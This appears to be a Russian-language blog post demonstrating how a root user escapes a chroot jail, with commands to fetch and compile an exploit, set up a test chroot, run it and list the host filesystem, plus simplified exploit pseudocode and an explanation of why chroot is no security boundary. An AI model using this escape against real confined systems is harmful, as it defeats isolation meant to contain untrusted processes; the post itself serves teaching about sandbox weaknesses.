Побег из chroot рутом или почему chroot - не метод обеспечения безопасности

Многие слышали, что chroot небезопасен, так как имея полномочия root из него легко сбежать (причем, многими способами!).

Но как именно, уверен, многие не задумывались - я в том числе :)

Итак, берем дебиян и ставим пакет: bash-static, он требуется чтобы создать chroot окружение максимально просто и быстро. Также не помешает пакет busybox-static, чтобы иметь возможность работать внутри chroot.

Также нам надо собрать мини-скрипт, которым мы будем "взламывать":

cd /usr/src
wget https://fastvps.googlecode.com/svn/trunk/scripts/chroot_break.c
gcc -static chroot_break.c -o chroot_break

Создаем chroot окружение и входим в него:

rm -rf /chroot
mkdir /chroot
mkdir /chroot/bin
cp /usr/src/chroot_break /chroot/chroot_break
cp /bin/bash-static /chroot/bin/bash
cp /bin/busybox /chroot/bin/
cd /chroot
chroot /chroot

Все, мы внутри chroot и теперь наша корневая директория - /chroot и мы не видим ничего кроме нее:

/bin/busybox find /
/
/bin
/bin/bash
/bin/busybox

Как же сбежать?

./chroot_break 

В итоге получаем доступ к основной файловой системе:

Exploit seems to work. =)
sh-4.1# ls -la /
total 108
drwxr-xr-x 22 root root  4096 Aug 13 16:32 .
drwxr-xr-x 22 root root  4096 Aug 13 16:32 ..
-rw-r--r--  1 root root  6786 Nov 25  2012 adid
lrwxrwxrwx  1 root root    39 Apr 24 18:11 aquota.group -> /proc/vz/vzaquota/0000903a/aquota.group
lrwxrwxrwx  1 root root    38 Apr 24 18:11 aquota.user -> /proc/vz/vzaquota/0000903a/aquota.user
drwxr-xr-x  2 root root  4096 Aug 13 15:48 baz
drwxr-xr-x  2 root root  4096 Aug 12 18:15 bin
drwxr-xr-x  2 root root  4096 Sep 13  2011 boot
drwxr-xr-x  4 root root  4096 Aug 13 16:32 chroot
drwxr-xr-x  4 root root  4096 Apr 24 18:11 dev
drwxr-xr-x 93 root root  4096 Aug 12 18:07 etc
drwxr-xr-x  3 root root  4096 Dec 17  2012 home
-rw-r--r--  1 root root  5430 Dec 20  2011 ips_list_as_array
drwxr-xr-x 11 root root 12288 Aug 13 14:55 lib
lrwxrwxrwx  1 root root     4 Dec 13  2011 lib64 -> /lib
drwxr-xr-x  2 root root  4096 Sep 13  2011 media
drwxr-xr-x  2 root root  4096 Sep 13  2011 mnt
drwxr-xr-x  5 root root  4096 Mar 19 14:27 opt
dr-xr-xr-x 74 root root     0 Apr 24 18:10 proc
-rw-------  1 root root  1024 Dec 13  2011 .rnd
drwx------ 18 root root  4096 Aug 13 16:18 root
drwxr-xr-x  2 root root  4096 Mar 22 16:19 sbin
drwxr-xr-x  2 root root  4096 Sep 13  2011 selinux
drwxr-xr-x  2 root root  4096 Sep 13  2011 srv
drwxr-xr-x  7 root root     0 Apr 24 18:10 sys
drwxrwxrwt  4 root root  4096 Aug 13 16:25 tmp
drwxr-xr-x 10 root root  4096 Sep 13  2011 usr
drwxr-xr-x 14 root root  4096 Sep 13  2011 var

Вот так вот мы прорвали эшелонированную оборону из бумажных салфеток =)

Код "эксплоита" крайне банален (я его несколько упростил, чтобы было проще) :

    chdir("/") 
    mkdir("baz", 0777) 
    chroot("baz")
    
    for (1..50) chdir("..")

    chdir(".")

Почему так происходит? 

Потому что:

• chroot изменяет лишь префикс пути в файловой системе и не делает ничего кроме этого
• chroot не изменяет текущую рабочую директорию (именно на этой проблеме основан метод выше)
• chroot не закрывает открытые файловые дескрипторы (существует способ выхода из chroot как раз этим методом)

Стоит подчеркнуть, что все выше сказанное работает исключительно от root пользователя. Но даже если Вы понизили права приложению после chroot, то это все равно не спасет от эксплоита, который может поднять права (через локальную уязвимость в ядре) и таки вырваться за пределы chroot.

Вывод - использовать виртуализацию, контейнеры - LXC, OpenVZ.

  Источник: http://man7.org/linux/man-pages/man2/chroot.2.html и http://linux-vserver.org/Secure_chroot_Barrier